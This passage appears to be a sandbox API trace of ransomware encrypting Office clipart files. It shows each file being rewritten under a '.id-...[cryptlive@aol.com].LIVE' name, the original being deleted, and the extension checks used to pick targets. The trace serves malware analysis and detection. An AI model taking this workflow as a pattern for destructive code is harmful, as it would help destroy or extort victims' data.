dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0144.033] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.033] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0144.034] GetLastError () returned 0x0 [0144.034] ReadFile (in: hFile=0x388, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x488, lpOverlapped=0x0) returned 1 [0144.036] WriteFile (in: hFile=0x3a8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x490, lpOverlapped=0x0) returned 1 [0144.037] ReadFile (in: hFile=0x388, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.037] WriteFile (in: hFile=0x3a8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.037] SetEndOfFile (hFile=0x3a8) returned 1 [0144.037] CloseHandle (hObject=0x3a8) returned 1 [0144.037] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.037] SetEndOfFile (hFile=0x388) returned 1 [0144.039] CloseHandle (hObject=0x388) returned 1 [0144.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf")) returned 1 [0144.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0144.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0144.040] lstrlenW (lpString=".doc") returned 4 [0144.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.040] lstrlenW (lpString=".docx") returned 5 [0144.040] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.040] lstrlenW (lpString=".pdf") returned 4 [0144.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.040] lstrlenW (lpString=".xls") returned 4 [0144.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.040] lstrlenW (lpString=".xlsx") returned 5 [0144.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.040] lstrlenW (lpString=".ppt") returned 4 [0144.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0144.040] lstrlenW (lpString=".zip") returned 4 [0144.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.040] lstrlenW (lpString=".rar") returned 4 [0144.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.040] lstrlenW (lpString=".bz2") returned 4 [0144.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.041] lstrlenW (lpString=".7z") returned 3 [0144.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0144.041] lstrlenW (lpString=".dbf") returned 4 [0144.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0144.041] lstrlenW (lpString=".1cd") returned 4 [0144.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0144.041] lstrlenW (lpString=".jpg") returned 4 [0144.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0144.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0144.041] lstrlenW (lpString=".doc") returned 4 [0144.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.041] lstrlenW (lpString=".docx") returned 5 [0144.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.041] lstrlenW (lpString=".pdf") returned 4 [0144.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.041] lstrlenW (lpString=".xls") returned 4 [0144.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.041] lstrlenW (lpString=".xlsx") returned 5 [0144.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.041] lstrlenW (lpString=".ppt") returned 4 [0144.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0144.041] lstrlenW (lpString=".zip") returned 4 [0144.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.041] lstrlenW (lpString=".rar") returned 4 [0144.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.041] lstrlenW (lpString=".bz2") returned 4 [0144.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.041] lstrlenW (lpString=".7z") returned 3 [0144.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0144.042] lstrlenW (lpString=".dbf") returned 4 [0144.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0144.042] lstrlenW (lpString=".1cd") returned 4 [0144.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0144.042] lstrlenW (lpString=".jpg") returned 4 [0144.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.042] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0144.042] lstrlenW (lpString="FD01548_.WMF") returned 12 [0144.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0144.042] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=10316) returned 1 [0144.042] CloseHandle (hObject=0x388) returned 1 [0144.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x20 [0144.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0144.043] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.043] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0144.044] GetLastError () returned 0x0 [0144.044] ReadFile (in: hFile=0x388, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x284c, lpOverlapped=0x0) returned 1 [0144.046] WriteFile (in: hFile=0x3a8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2850, lpOverlapped=0x0) returned 1 [0144.047] ReadFile (in: hFile=0x388, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.047] WriteFile (in: hFile=0x3a8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.047] SetEndOfFile (hFile=0x3a8) returned 1 [0144.047] CloseHandle (hObject=0x3a8) returned 1 [0144.047] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.047] SetEndOfFile (hFile=0x388) returned 1 [0144.049] CloseHandle (hObject=0x388) returned 1 [0144.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.050] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf")) returned 1 [0144.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0144.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0144.051] lstrlenW (lpString=".doc") returned 4 [0144.051] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.051] lstrlenW (lpString=".docx") returned 5 [0144.051] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.051] lstrlenW (lpString=".pdf") returned 4 [0144.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.051] lstrlenW (lpString=".xls") returned 4 [0144.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.051] lstrlenW (lpString=".xlsx") returned 5 [0144.051] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.051] lstrlenW (lpString=".ppt") returned 4 [0144.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0144.051] lstrlenW (lpString=".zip") returned 4 [0144.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.052] lstrlenW (lpString=".rar") returned 4 [0144.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.052] lstrlenW (lpString=".bz2") returned 4 [0144.052] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.052] lstrlenW (lpString=".7z") returned 3 [0144.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0144.052] lstrlenW (lpString=".dbf") returned 4 [0144.052] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0144.052] lstrlenW (lpString=".1cd") returned 4 [0144.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0144.052] lstrlenW (lpString=".jpg") returned 4 [0144.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0144.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0144.052] lstrlenW (lpString=".doc") returned 4 [0144.052] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.052] lstrlenW (lpString=".docx") returned 5 [0144.052] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.052] lstrlenW (lpString=".pdf") returned 4 [0144.052] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.052] lstrlenW (lpString=".xls") returned 4 [0144.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.052] lstrlenW (lpString=".xlsx") returned 5 [0144.052] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.052] lstrlenW (lpString=".ppt") returned 4 [0144.052] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0144.052] lstrlenW (lpString=".zip") returned 4 [0144.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.052] lstrlenW (lpString=".rar") returned 4 [0144.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.053] lstrlenW (lpString=".bz2") returned 4 [0144.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.053] lstrlenW (lpString=".7z") returned 3 [0144.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0144.053] lstrlenW (lpString=".dbf") returned 4 [0144.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0144.053] lstrlenW (lpString=".1cd") returned 4 [0144.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0144.053] lstrlenW (lpString=".jpg") returned 4 [0144.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.053] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0144.053] lstrlenW (lpString="FD01657_.WMF") returned 12 [0144.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0144.053] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=30414) returned 1 [0144.054] CloseHandle (hObject=0x388) returned 1 [0144.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x20 [0144.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0144.054] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.054] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0144.055] GetLastError () returned 0x0 [0144.055] ReadFile (in: hFile=0x388, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x76ce, lpOverlapped=0x0) returned 1 [0144.057] WriteFile (in: hFile=0x3a8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x76d0, lpOverlapped=0x0) returned 1 [0144.058] ReadFile (in: hFile=0x388, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.058] WriteFile (in: hFile=0x3a8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.058] SetEndOfFile (hFile=0x3a8) returned 1 [0144.058] CloseHandle (hObject=0x3a8) returned 1 [0144.058] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.058] SetEndOfFile (hFile=0x388) returned 1 [0144.061] CloseHandle (hObject=0x388) returned 1 [0144.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf")) returned 1 [0144.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0144.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0144.062] lstrlenW (lpString=".doc") returned 4 [0144.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.062] lstrlenW (lpString=".docx") returned 5 [0144.062] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.062] lstrlenW (lpString=".pdf") returned 4 [0144.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.062] lstrlenW (lpString=".xls") returned 4 [0144.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.062] lstrlenW (lpString=".xlsx") returned 5 [0144.062] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.062] lstrlenW (lpString=".ppt") returned 4 [0144.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0144.063] lstrlenW (lpString=".zip") returned 4 [0144.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.063] lstrlenW (lpString=".rar") returned 4 [0144.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.063] lstrlenW (lpString=".bz2") returned 4 [0144.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.063] lstrlenW (lpString=".7z") returned 3 [0144.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0144.063] lstrlenW (lpString=".dbf") returned 4 [0144.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0144.063] lstrlenW (lpString=".1cd") returned 4 [0144.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0144.063] lstrlenW (lpString=".jpg") returned 4 [0144.063] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0144.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0144.063] lstrlenW (lpString=".doc") returned 4 [0144.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.063] lstrlenW (lpString=".docx") returned 5 [0144.063] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.063] lstrlenW (lpString=".pdf") returned 4 [0144.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.063] lstrlenW (lpString=".xls") returned 4 [0144.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.063] lstrlenW (lpString=".xlsx") returned 5 [0144.063] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.063] lstrlenW (lpString=".ppt") returned 4 [0144.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0144.063] lstrlenW (lpString=".zip") returned 4 [0144.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.063] lstrlenW (lpString=".rar") returned 4 [0144.064] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.064] lstrlenW (lpString=".bz2") returned 4 [0144.064] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.064] lstrlenW (lpString=".7z") returned 3 [0144.064] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0144.064] lstrlenW (lpString=".dbf") returned 4 [0144.064] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0144.064] lstrlenW (lpString=".1cd") returned 4 [0144.064] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0144.064] lstrlenW (lpString=".jpg") returned 4 [0144.064] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.064] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0144.064] lstrlenW (lpString="FD01658_.WMF") returned 12 [0144.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0144.065] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=17924) returned 1 [0144.065] CloseHandle (hObject=0x388) returned 1 [0144.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x20 [0144.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0144.066] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.066] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft 